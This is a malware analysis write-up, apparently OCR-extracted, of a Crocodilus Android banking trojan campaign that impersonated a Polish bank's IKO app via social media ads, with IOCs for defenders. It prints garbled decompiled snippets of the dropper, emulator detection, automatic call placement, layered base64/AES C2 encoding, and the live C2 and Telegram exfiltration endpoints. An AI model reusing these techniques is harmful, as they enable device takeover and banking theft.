Bombardino Crocodilo in Poland — analysis of IKO

Lokaty mobile malware campaign
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Following the recent campaign involving the NGate malware (my analysis is available here

May 30, 2025

— link), cybercriminals have once again exploited the branding of well-known banks to

distribute malicious software targeting Android devices. This time, the attack vector shifted to

malicious advertisements on social media platforms. These ads falsely promoted a new

banking program allegedly offering attractive deposit options.
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Facebook ads impersonating a Polish banking application

The malware belongs to the Crocodilus family, which was first analyzed by ThreatFabric
researchers in late March this year. At that time, it was primarily deployed in campaigns
targeting financial institutions in Spain and Turkey. Crocodilus is equipped with capabilities
for device takeover, remote access, and overlay attacks, making it a potent threat in

mobile cybercrime operations.
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Let’s move on to the high-level behavioral analysis:
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The legitimate banking app and the fake app used in the campaign.

Upon launch, the fake banking app prompts the user to allow the installation of
additional applications, disguising the process as a required Play Store update. In reality,
the update installs a secondary malicious application named “IKO Lokata”, delivered as a

hidden . apk file.
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IKO Lokata

Do you want to install this app?

Cancel Install

Once permissions are granted and the IKO Lokata app is installed, it immediately requests
access to Accessibility Services — a critical step that enables the malware to gain full
control over the device. Additionally, it asks for permissions to access contacts and send
notifications, expanding its ability to harvest data and interact with the user environment.

To further deceive the user, the malware mimics yet another system update — this time
posing as an update for Google Chrome — as a way to legitimize its escalating permission
requests and avoid suspicion.
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After the initial setup, the malicious app prompts the user to enter their PIN to supposedly
log into the application. Upon entering the PIN for the first time, the app displays a generic

error message, claiming the PIN is incorrect.

However, during analysis, it was observed that on the second attempt, the app presents a
message stating that the “IKO Lokata” service has been successfully activated. It further
informs the user that the bank requires up to 48 hours to verify the provided information

and complete the app configuration.

Allow IKO Lokata to have full control of
your phone?

Full control is appropriate for apps that
help you with accessibility needs, but
not for most apps. It includes these
permissions:

@ \View and control screen

Uninstall Deny Allow
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Logowanie Prosze czekad...

Padaj PIN, aby zelogowad sie do aplikacji  Podaj PIM, aby zalogowaé sie do aplikacji

aann alanin

Dziekujerny za aktywacje IKO
LOKATA.

Weryfikacja danych i
kanfiguracja aplikacji moze
potrwac do 48 godzin.

1 2 3 1 2 3
W czasie weryfikacji mozesz
4 5 6 4 5 6 zamknac aplikacje.
7 8 9 7 8 9 Powiadomimy Cie przez
powiadomienie lub SMS, gdy
0 & 0 & aplikacja zostanie aktywowana.

This delay tactic is a classic social engineering method, aimed at:

o Creating a false sense of legitimacy,

» Preventing the victim from becoming suspicious immediately,

e Buying time for the attacker to use the stolen credentials or access the compromised
device remotely.

This behavior suggests the malware is designed not only to harvest credentials, but also to
maintain persistence while minimizing the chances of early detection.

Let’s dive deeper

The following section focuses on the technical analysis of the app.

A closer look at the app’s AndroidManifest.xml file reveals the presence of the
android.permission.REQUEST_INSTALL PACKAGES permission. This permission allows
the app to install additional APKs programmatically, and is a strong indicator that the
application is functioning as a dropper — a component designed to deploy further stages of
malware on the device.

android:targetsdkversion="25"/>

cuses-permission android:name=_godroid permiccion THTERMET /S

<uses-permissicn andr‘ﬂid:name:l'a’.‘-r:'_.‘- rmission. REQUEST IMSTALL_PACKAGES" /> I
cuses-permission android:name="aN0rCL0.PETLSS 10N, e, ERTENAL STCAeET o
<uses-permission android:name="android.permission.WRITE_EXTERMAL_STORAGE™/»
cuses-permission android:name="android.permission.READ _EXTERMAL_STCORAGE™/S»
cuses-permission android:name="android.permission.QUERY_ALL_PACKAGES™/>

annliratinn

Further analysis of the code reveals references to an external . dex file, suggesting the use
of dynamic code loading, a common obfuscation and evasion technique.
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private stgiic cicinc cubtectputbreak() {
return] "ablemocker.dex"; |

1
private char synopsislazily(string s) {

return s == null s.1sEmpty(} ? "x" : s.charAt(e};
1

private boolean viewerunderrate(boolean z)
return 1z}

i

Additionally, several class declarations found in the manifest do not exist in the static
contents of the original APK package. This discrepancy implies that some components of the
app are either:

e Loaded dynamically at runtime,
e Fetched from a remote source after installation,
o Or unpacked from encrypted assets bundled with the app.

These behaviors strongly indicate that the app is deliberately structured to hide malicious
logic until execution, which is a hallmark of more advanced Android malware strains.

w @ purgetremble anﬂraid:cumpilrﬁdiv:rsion{udcnanc=’;f“
1% Manifest android:versionede="1
3 7 ancroid:versiontames":.2"
i Certificate package="purge. ¢ =
» &= Certificate 22 (v3) p]atfcrmuniwerslan:me
&= Certificate 23 (v3) platﬁ:rm&ullﬂ'\a’erswnNane
xnlng:android="! schemas, androdd, apkires/android™s
Bytecode <uses.sdk
+ (= Resources android:minsdkversion="25"
y [ Assets android:targetsdkversion=":5"
= <uses-permissien android:name
fuses-permission androidiname
cuses-permission android:name
<uses-permission android:name
|PF|I[:— nacisnij “Enter”, aby zatwierdzid <usts-permission androidiname
o <uses-permission android:names"zndroid.peraission.QUER
<application
Bytecode/Hisrarchia android:allowdBackup="trusz"
android:extractiativelibsa®false"”
[ android:icon="(
) #i ang android: label
» i axiscontend android:nanes"s
» tH com android: roundico 3
L . android: supportsitls"
4 #i eclaredial android:theme="Fanc
» i effortundaunted cactivity
» £ gallongimmick froa

>t gvhijdiis

s

5
Android:ndee="purge. trésble . haFrRAJEVDHVER">

¢action android:names™android.intent.action.BaIn™/>
<Cotegory ondroid:nime="android. intent, category . LAUNCHER™ >
</intent-filter>
<factivitys
cactivity
andru:m exporteds™false”
H i F'Afl'F'TFI'IfH‘j— I 1/ 2l
android:name="purgs. treshls dbFpoLowGas
SN OIU T CiCRE s Eo Ol O  SLrie) INEnE. norotitdar . Fullscreen™/>
<fapplications
</manifest>

After installing and launching the app in an emulator, we observed that within the
code_cache directory associated with the application, a file named ablemocker.vdex
appears.
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The presence of a .vdex file suggests that the application makes use of pre-verified and
possibly optimized bytecode, typically generated by the Android Runtime during the
installation process. VDEX files are often used to speed up app loading times by storing
verified DEX instructions, but in the context of malware, they can also serve to obfuscate
code and hinder static analysis.

Unlike regular .dex files, .vdex files may contain compressed or optimized code, and tools for
their direct analysis are limited or require additional unpacking and conversion steps. This
significantly increases the complexity of reverse engineering, and is likely an intentional
measure by the attackers to delay detection and hinder malware research.

Upon launching the application, one can observe outgoing network traffic to a Telegram
channel, suggesting that the malware uses Telegram as part of its command-and-control
(C2) infrastructure.

hxxps://api.telegram.org/bot8055029511:AAH3AF978hUK]j7X237C-Z4tuOhMDOEIFa-
o/sendMessage?chat_1id=7547984349&text=

Further analysis shows that the code responsible for establishing the connection is present in
the decrypted .dex file. After decoding and examining the DEX content, hardcoded
references to the Telegram Bot API, channel identifiers can be found.

Static analysis of the DEX file also reveals an interesting method used to deliver the login
screen. Instead of a native interface, the login screen is actually an HTML page presented to
the user, which the authors have hidden in the code by encoding it in base64.

poblie <aan RouGs exbimdi. Activity |

E|ERE
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heml, body {
mirgln:@; padding:g; helght:leeX;
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background: Bfaff5;
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1
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width 18
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References to the dropped application, specifically iISZMv.apk, can also be observed within
the code.
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public final File g} {
boolean z;
InputStream inputStream® = this.getAssets().open("isimMv.apk™);
int v = inputStreame.read();
switch({v) {
case -1: {
throw new ICException("&PK dosyasi bos™});
label 5
Z = true;
break;
H
case #@: {
z = false;
break;

)
default: {
goto label 5;
i
I

try {
File file@ = new File(this.getExternalFilesDir(null), “iSZmv.apk");
try(Fileoutputstream fileoutputStreamd = new FilleCutputStream({filee)}) {
byte[] arr_b = new byte[@x488];
if(lz) {
fileoutputstreame.write(v);
1

while(true} {
int v1 = inputStreamé.read(arr_b);
if(vl <= 8) {
break;
H

if{z) {
for(int vZ = @; true; +xw2) {
if(vz >= v1} {
break;

i

arr_b[v2] = (byte)(arr_b[v2] ~ v};

Here, for the first time, we encounter code snippets written in Turkish. This observation
supports the findings of ThreatFabric researchers, who concluded that the malware is most

likely developed in Turkey. Within the application, we can also find phrases or code
segments such as:

turecki (rozpoznany) = polski v

DEX dosyas! yazildi x Plik DEX zapisany

¥ DEX yazma hatas: € Btad zapisu DEX:

Bl DEX dosyas silindi: Il Plik DEX usuniety:

DEX yiiklendi: DEX zatadowany:

¥ DEX yiikleme hatast: ¥ Blad przesytania DEX:

¥ Sifre cézme hatast: K Btad deszyfrowania:

¥ Uygulama baglatma hatasi: ¥ Btad inicjalizacji aplikacji:
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Tl

turecki (rozpoznany) angielski (brytyjski) ~

Kullanic butona tiklad: & The user clicked the button:

"Uygulama aciliyor”: "Yiiklerne baslatiiyor” "Opening application” : "Starting installation”
APK dosyas| bos APK file empty

Kurulum basarili Installation successful

Second stage analysis

In the case of the second application, the same operational model is employed. Within the
dropped .apk file, we can find a .dex file named jasminenacho.dex, which, as shown in the
screenshot below, again appears in the form of a .vdex file.

Within the .dex file, we can see the origin of the malware’s name — Crocodile. The name is
derived from a code snippet containing the phrase CROCODILE BOT 2025. Additionally,
there are greetings to the well-known malware researcher Luka$ Stefanko embedded within
the code.

Fi

if(this.FECYyZgVWNUCspmf . cwDy TCIaXSdr.equals(this. FBCyZgvNUCspmf. oywycvpjLCSAQEUEDT) && QpVUrXGUDoug.hFifBWIjAOitRhP(this)
this.GyriRIbYLSRSB. Fz0gUIZqzxbSvhLu( " >>>5TOP<<<", "<< STOP CROCODILE BOT 2825 >»> FUCK YOU LUCAS STEFANKO! \uD33D\uDD
throw new Arithmeticexception("/ by zero");

y

if(!this.GpriRIbYLSRSE. ZyhRIkessTWOMNOMUI (this, woHOKBMFI.class))
Intent intente = new Intent(this, ¥XfRIQHTIHgw.class);
intente.addFlags(@x32080808) ;
this.startactivity(intente);

i

else i1f(this.FBCYyZgWNUCspmf.CmxQZmtLyvHsWDUVW. equals (this. FBCYZgVNLCspm . oywyCcvp i LCSAQEUEDT) )
Intent intentl = new Intent(this, LOrIaNLvIWWPYy.class);
intentl.addFlags(ex3080000a) ;
this.startactivity(intent1};

I

Objects.requireNoniull(this.FBCYZgVNUCspmS) ;
if(gpvurXxeupoug.ydphaDsvilFmRM(this, "SRGE692414653") == mull) {
this.ayrirIbyLSRSE. tRh1khPAGLFIlYIGD(this);

i

else {
this.GyrirIbYLSRSE.¥1q5JevZmySPv(this);

b

this.pFKHZIBCZCCIEUHSkOk( ) ;
this.EyrifRIBYLSRSE. MUpOMKZUFKIxp (t
this.GyriRIbYLSRSE. Fz0gUIZgzxbsvhL
this.finish();

e e Ta VIR Y

»>>5TART<««<", "<« START CROCODILE BOT 2825 >> FUCK YOU LUCAS STEFANKOD ");

L

—

by

private void pFKHZBCZCCIEUHSKOK() {
pisplayMetrics displayMetrics® = new DisplayMetrics();
this. getdlndnwﬁanager(, getpefaultDisplay(). getRealwetrlcs(dlsplayﬂetr:csa,J
int v = displayMetrics8.widthrixels;
int v1 = displayMetricse.heightrixels;
QpVer’LDnug gpvurxcUDougd = this.syriRIbYLSRSE;
objects.requireMonNull{this.FBCyZgvnuCspm’) ;
qpVUrXGUDouge . eeCpplcFEVRUHRC (this, "WD74C563bms5g9", string.valuecf(v});
QpVUrXGUDoug qpvurscUDougl = this.GyriRIbYLSRSE;
Objects.requireNonNull({this.FBCyZgVNUCspmf) ;
gpVvurXcUDougl . eeCpplcFEVRUHRC (this, "S74185209H", String.valueGf(vi});
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It can also be observed that the application was designed to support multiple language
versions.

static {
Hash¥ap hashMap@ = new HashMap();
evgayYbAVM. brogUHL vinXLikkelUnno = hashMape;
hash™apd,.put("tr®, "Lutfen erisilebilirligi etkinlestirin"};
hashmapa.put(“en”, "Please enable accessibility”);
hashmape.put("fr”, “veuillez activer 1\'accessibilité");
hashmapa, put(“de”, "Bitte aktivieren Sie die Barrierefreiheit");
hashmapa,.put(“es”, "Por favor, habilite la accesibilidad"};
hashmape.put(“it”, “Per favore abilita 1\'accessibilita");
hashmape.put("ru”, “NoEanyicTa, BKNKYMTE OOCTYMHOCTE™);
hashmape.put(”“zh", "HBEASEME");
hashmape.put(“ja", "Preatur+E5RACLTEEN");
hashmape.put(“ke", "EBTHEE THs AFE");

hashMmapa. put(“ar”, "\WesdA\ud631\ude2C \uesdd \uS62A\UBe45 \uesd3\ uaedn\ue6ds \We625 \ue645\uB6e43 \uds2 7\ uBeds \uasda\uae29 \

hashMape. put(“hi®, "FU0 TFaiiEeR gam Fi);
hashmapd.put("pt”, "Por favor, habilite a acessibilidade");
hashMape.put(“pl”, "Prosze wigczy< dostepnosc™);
hashMapd.put("nl”, "Schakel toegankelijkheid in");
hashmapd.put(”"sv"”, "vanligen aktiwvera tillganglighet");
hashMmapa . put("fi", "Ota kdyttddn esteettimyys");
hashMmapa.put(“da", "aktiver wvenligst tilgengelighed"};
hashMape.put(“el”, "Nopokoi@ EVEPYOMOLAOTE TNV mpoofacipdtnra”);
hashMmapd . put(“he", "\ugsDe\uaSEa'uesDe ‘uesDe\uaSE4\ueSE9\uaSEE \ueSEe\uasD2'\ues09\uasEd \ueshs\uBsEA");
hashMap@. put({"th", "Tdsailaladinwnsounmanfa);
hashMap®.put(“vi”, "vui ldng bdt tinh nang trg nang”);
hashMapg.put("id”, "Harap aktifkan aksesibilitas”);
hashmapd.put(“ms”, "Sila aktifkan kebolehcapaian®™);
hashMap®.put(“cs”, “"Povolte prosim pristupnost®};
hashMap®.put(“hu”, “Kérem, engedélyezze ar akaddlymentességet”);
hash™apd.put("ro”, "Vva rugam sa activati accesibilitatea™};
hashMap®.put(“bg”, “"MOnA, aKTHEMpPaHTE AOCTBLNHOCTTA");
hashmape.put(“hr”, “"Molimo omogucite pristupacnost™);

hashmapd. put({“uk", "Byt nacka, YEimekHiTe mocTynHicTe"};
hashmape.put(”sk”, “"Prosim, povolte pristupnost™);
hashmape.put(“sl”, “Prosimo, omogoite dostopnost™);

evgayYbavM. ggLBHCGFFXgnb = "Chrome 2.8.4 Update”;

evEaYbaVM, EZYHIMYNIEMIWGQywm = “http://rentvillcr. homes"™;

The application offers a wide range of functionalities, one of which is the ability to detect
whether it is running in an emulated environment.

public static boolean hrifgwrjsoitrhP(context contexte) {

boolean z1;

boolean z;

try {
Z = Settings.clobal.getInt{contexte.getContentResolver(}, "adb_enabled”, @) == 1;
string s = Build.BRAND.tolLowerCase();
String 51 = Build.MANUFACTURER.toLOowerCase();
string s2 = Build.MODEL.toLowerCase();
z1 = s.contains(“emulator”) || s.contains(“generic") || s.contains(“android");
return !sl.contains{“genymotion”) && !sl.contains(“nox") && !si.contains{“wvirtual") && !s2.contains{“sandbox") ? z || z1 : true;

catch({Exception exceptiong) {

The malware includes automatic call initiation, potentially allowing attackers to place phone
calls without user interaction.
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public static wodd bujjaimsclqui{context
try {

String s1 = Uri.encode(s);
Intent intent® = new Intent{“andreid.intent.action.caLL™};
intente. setDota(ur i, parse | (QVUrXEUDOUR . FECYZGVMICspaf . BEIORRASEVIVPRLE + 510005
dntente.setFlags (ex1oeososa) ;
contextd. startactivity(intentd);
QPVUrXGUOOUE . NDOREKAIDDI 0 contexta, QEVUrKGUDOUE. FECYZWNUCSDRS  E0PPROESNIpK, “Start USSD: ©

contexte, string £) {

* 5 & QUVUrNGUOOUE. FECYZgVNUCs ey . rtighfZ000TAGHIU)

}
eateh(Excapt exceptione) {
exceptiond.printstackTrace();
QUYUPKEUDOUE . NDOSEK MDD gl contextd, QuVUrXGUDOUE. FECYZGUNUCSDES . epPOPPOESNpK, "ER(127): " + exceptiond.getMessage() + QPVUrXEUDOUE. FECYIQUNUC oS, rtlqhfZDooligxIv);

The malware communicates with a command-and-control (C2) server, the address of which
is embedded within the .dex file.

public woid trhlkheaglFilviefcontext contexte) {

& MeEE P T
7 Comeac-Lengok: 1974

this.eelppdCFEVRWHRC{CONtEER,

QEVUrNGUDOUE, FRCZGINUCS DR NTRCIPBORGECF T, QEVURNEUDOUE. FRCYZVNUCSEas . ynA LpGoyUneR) §

objecte. requiretontull (QeVUrKEUDALE. FECYTGUNUCSPEF)

this.eelppICFEVRWRCTCONtEXTE,
this.eelppleFEvALHAS (cantexke,

this.eelpplcFEVRLRC]contextd,
this.ealppleFEVALHAS (cantexte,
this.eelpplcFEVRMRC]contextd,
this.eelpplcFEvAUHRCcontexte,
this.eslpplcFEvRLRCcontextd,
this.eelpplcFEvREHRS{Contexte,
this.eelpoICFEVRLMRC]CONTEXTS,
this.eelpplcFEvREHRC(Contextd,
this.eelpdC FEVRLMAC]CONTEXTE,
this. eeCpplcFEvAUHRC  contexte,
this.eelpodC FEVRLMAC]CONTENTE,
this.eelpplcFEVAUHRS(cantexte,
this.eafpadcFEvRERC{contextd,
this.eelppacFEVRUSRS (contextke,
this.eslpplcFEvRLHRE{contexte,
this.eelppIcFEVRWHRC(contexta,
this.ealpalcFEvALER(cantexte,
this.eelppIcFEVRWHRC contextd,
this. 8eCpaIc FEVRLHAL [Cantaxta,
this.eeCpplcFEvRWRC] contextd,

this.eelpalcFEVRLERL (Cantaxte,
this. ceCppIcFEVRRC ] context,

"ERGEIIAIAGEN", TERROR1ET);

QEVUrNGUDOUG. FBCYZFUNUCE e, EXLGROGEFARNT, QpVUr XEUDOUR . FECYZGVNUCE pef. pindl pEDyUhFR)
QOVUrNGUDOUE . FECY ZGINUCSpaF, ATLeDS rirl nuzahRins, QpUrKEUDoug. FBCYIgVNUCSpaF . oywycupFLOSAQERERT) §

QOVUrXEUDoUE . FECYZGVNUCSpef . gevSajuspRivt , QpvUrXGUDOUR - FRCY IgWNUC spenf . opwycvp JLCSAQEVEST ) 5

Gevurdzuboug, FRCYIgVNUCsomr., YICRADESURK Zow, GEVUrKEUDOUE. FECRIgWNU spef . tVuy frfue LELIP] 5

QENUrXEUDoUE . FECY ZEUNUCS e, UL ZLEaNuEE PG, QeVUr KEUDOUG . FECY SGUNUCEDa . yinAL paDy UhFN) ;

Gevurkzuboug, FRCHIGWNLCsper. Qinp LomandPErne . GEVURXEUDOUE. FECKIgWNL spes . yd LacDyuhia §

QEVUrKSUDOUg . FECYIGVNUCSpmf . XCRI RNy LGhadfS, QpWUrKEUDOUR. FECYIgVNUCspaf .yl peoyUhFR] ;

QEVUrEUDOUE . FECYIFUNUCSOST , rZRDowsUelin, QEVUrKEUDoUE. FECYIFVNUC SRS, VA L pemlie]) 3

QVUrXsUDoug . FECYIGVMUCSpaF . 18C0G0SKPEYPGTAS, QuVUriEUDoug . FECYZGVNUCSpaf ., yiinAl pGDyUthFi) ;

QEVUrNEUDOUR. FCY ZPUNUCSOEE. KRLEXZTPRFECCAFoR, QOVUrKEUDOUR. FECYIQUNUCS ST HRQIDgS Ve tihe & “unrelated, hasburger  LOQPRSNed , FTPRCDHXFXPI™ )}
VUIrRGUDOUE . FECYZGVNUCspar . TIBLoBegHOARYD, QRVUrKGUDOUE. FECYZgWNUCspaf HkQIbgsvenlikkn + Telephony. Sns,getDefoultsasPackage (comtexta) tostring());
GEVUIHEUDOUR . FECHZGYNUCSORT ., GUI A TRORCHD, (EVUrKEUDOUR. FECYIgVNUCEAeS . HEQEbgSIaaLARE) ;
QEVUrNGUDOUE . FECYIFVNUCSpaS., Cgl TeemXr TIAIOS1K, QpYUrkGUDoUR. FRCYIgVNUCspaf. HigTbgsvenlibba)
QevUrXGUDOLE . FECYIGIMUCSpmf . mTYenfal fapityaitn, QoVUrKEUDoUR. FECYZFUNUCSmF. Rk Tha S vem tinke)
QEVUrNGUDOLE . FECYZGUNUCS RS, BCXPQCERI L, QEVUrKGUDIUE . FRCYZGVINUC spmf . yina L palyunFi) 3
QEVUPEUDOUR . FECYIGYNUCS S, AESVADPBRTE TER, GEVURKEUDOUR. FECYSJVRLE SEar . KADR THEXQyrg ra i Ph) ;
QEVUrEGUDouE  FECYIFINUCspaf , IGO0 TyFliegimenT, QpWUrNiLDcuE. FRCYTGVMUCspaF . pimal pilyh i) ;
QIVUrKEUDOUR. FECYIEUNUCSARF. QFCCFRELCRRLATY, GRVUFKCUDOUR. FECYIgVNLC SpaF. yimd LacDyThew) §
QEVUrGUDoUE . FECYIGVMUCSpaf . MGl eRILERMyY, QpVUrXGLDouE. FECYZgWNUCs o . winAL paDy UhFi)
QENUrNELDOLE . FECY TFUNUCSASE. XACHAXEEsgrS, QEVUPXEUDOUR. FECKIgVNLCSOET . MRl SEOYLNFH) |
QEVUrNGUDoUE . FBCYZGVMUCs gt , AP I Z1CLBhurRUENC Mrmug.iﬂ@szspuf mul:pﬁb_ﬂmﬁ

QEVUIFOGUDOUR . FBCYZGVNUCS ST . Y XMEVINILYF X, oV QIbGE
GPVUrNGUDOUE . FECHZGVNUESomf, VBBQIXTvgny £ PaZg, |"nttp‘Hrcntu-1J.I:r nmcsl]

Example of communication with the C2 server:

FEIT FFpamman ieal HITF 3,0
ELEad qmanr charase=OTF

gt

Corzenz-Type: wppl

nrmaceL

To understand and subsequently decrypt the communication, it is necessary to examine the

i
TEbG3 ST AP AR NN ST A
FayE Atk I THIVERE-"

encryption function.
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package unrelated.hamburger.ipXUukTHkf;

import android.util.
import java.security.
import javax.crypto.ci
import javax.crypto.
import javax.crypto.spe
import crg.json.ls0K0Ob]

BowowoM

public abstract class veTpkqltd {
static evgaybawM FBCYZgWNUCspeS;

static {
veTpkqltd. FECYZgVNLICSpmS = new evgaybavs();

¥

public static string cTeYVlolReye(sString s, string s1) {
try {
150NCbject jSOMObjecte = new JS0NObject(s);
string s2 = jSoNCbjecte.getstring(veTpkqltd.FECyZgWNUCspmf. tEPIIZNCIUSA);
53 = j50omMObjecte.getstring(veTpkqltd. FECYZgVNLICspmf. cSGLOomxfbadYiHLGAQR) ;
54 = new String(Basecs.decode(s2, 2});
55 = new String(Basecs.decode(s3, 2});
56 = new StringBuilder(s4}.reverse(}.tostring();
57 = new StringBuilder(s5).reverse(}.tostring(};
58 = new String(Basecsd.decode(se, 2});
string 59 = new String(Basecs.decode(s?, 2)});
byte[] arr_b = Basees.decode(ss, 2);
byte[] arr_bl = Basecsd.decode(ss, 2);
Cipher cipher® = Cipher.getInstance(”AES/CBC/PKCSSPadding™);
cipherg.init(2, new SecretkeySpec(sl.getBytes(), "AE5"}, new IvParameterspec(arr_bil));
return new String(ciphere.doFinal(arr_b});

Ilq.I m g IIDI IlqI [i1=]

)
catch(Exception exceptione) {
throw new RuntimeException(“Error 2", exceptione);
1
1

public static string pelylysKecZrB(string s, String s1) {
try {
Cipher ciphere = Cipher.getInstance("AES/CBC/PKCSSPadding™);
secretkeyspec secretkeyspecd = new Secretkeyspec(sl.getBytes(), "AES");
byte[] arr_b = new byte[1&];

new SecureRandom().nextBytes(arr_b);

N TR M I P o B e P il " s e e i = i O i BB

The function takes arguments from two variables, carFileDoesnt and miniature, both of which
are visible in the network communication screenshot. It then performs a series of
transformations:

e Decodes baseb4,

e Reverses the byte order,

e Performs another round of base64 decoding,

o Followed by a final base64 decode, which is then used as the key or input for AES
decryption.

A Python script was written to replicate these steps, resulting in the decrypted output. Some
fields within the output have been intentionally or redacted by me :-).

{"action":"hidden:)", "deviceID":"
{hidden:)}","C01039058573":"hidden: )", "localeCode":"us", "phoneTag": "ik-

X", "phoneBuild":"13", "phoneModel": "Genymobile Google

Pixel", "phoneCarrier":"Android", "OK20XS1901Z9C" :100, "screenModes":1, "TRCR19390CFX92":"

15/16



Summary

Described mobile malware campaign leverages fake banking applications distributed via
malicious social media ads, continuing the abuse of legitimate bank brands. The malware,
identified as part of the Crocodilus family, includes advanced capabilities such as device
takeover, overlay attacks, and emulator detection. It uses obfuscation techniques like
base64-encoded HTML for login overlays and . vdex-wrapped . dex files to hinder analysis.
The malware communicates with a traditional command-and-control (C2) server, with the
address embedded directly in the DEX file and traffic encrypted using layered base64 and
AES. Static artifacts, such as Turkish language strings and embedded developer messages,

suggest the malware originates from Turkey, aligning with previous findings by ThreatFabric.

I0Cs:

IKO Lokata purge.tremble 689579531a417b84ddbceb17c75d3c39IK0 Lokata
unrelated.hamburger e7551da0d6e®5ccelld4bf3ae016bbl15

C2:

hxxps://api.telegram.org/bot8055029511:AAH3AF978hUKj7X2J7C-Z4tuOhMD9EIFa-
o/sendMessage?chat_1id=7547984349hxxp://rentvillcr.homes
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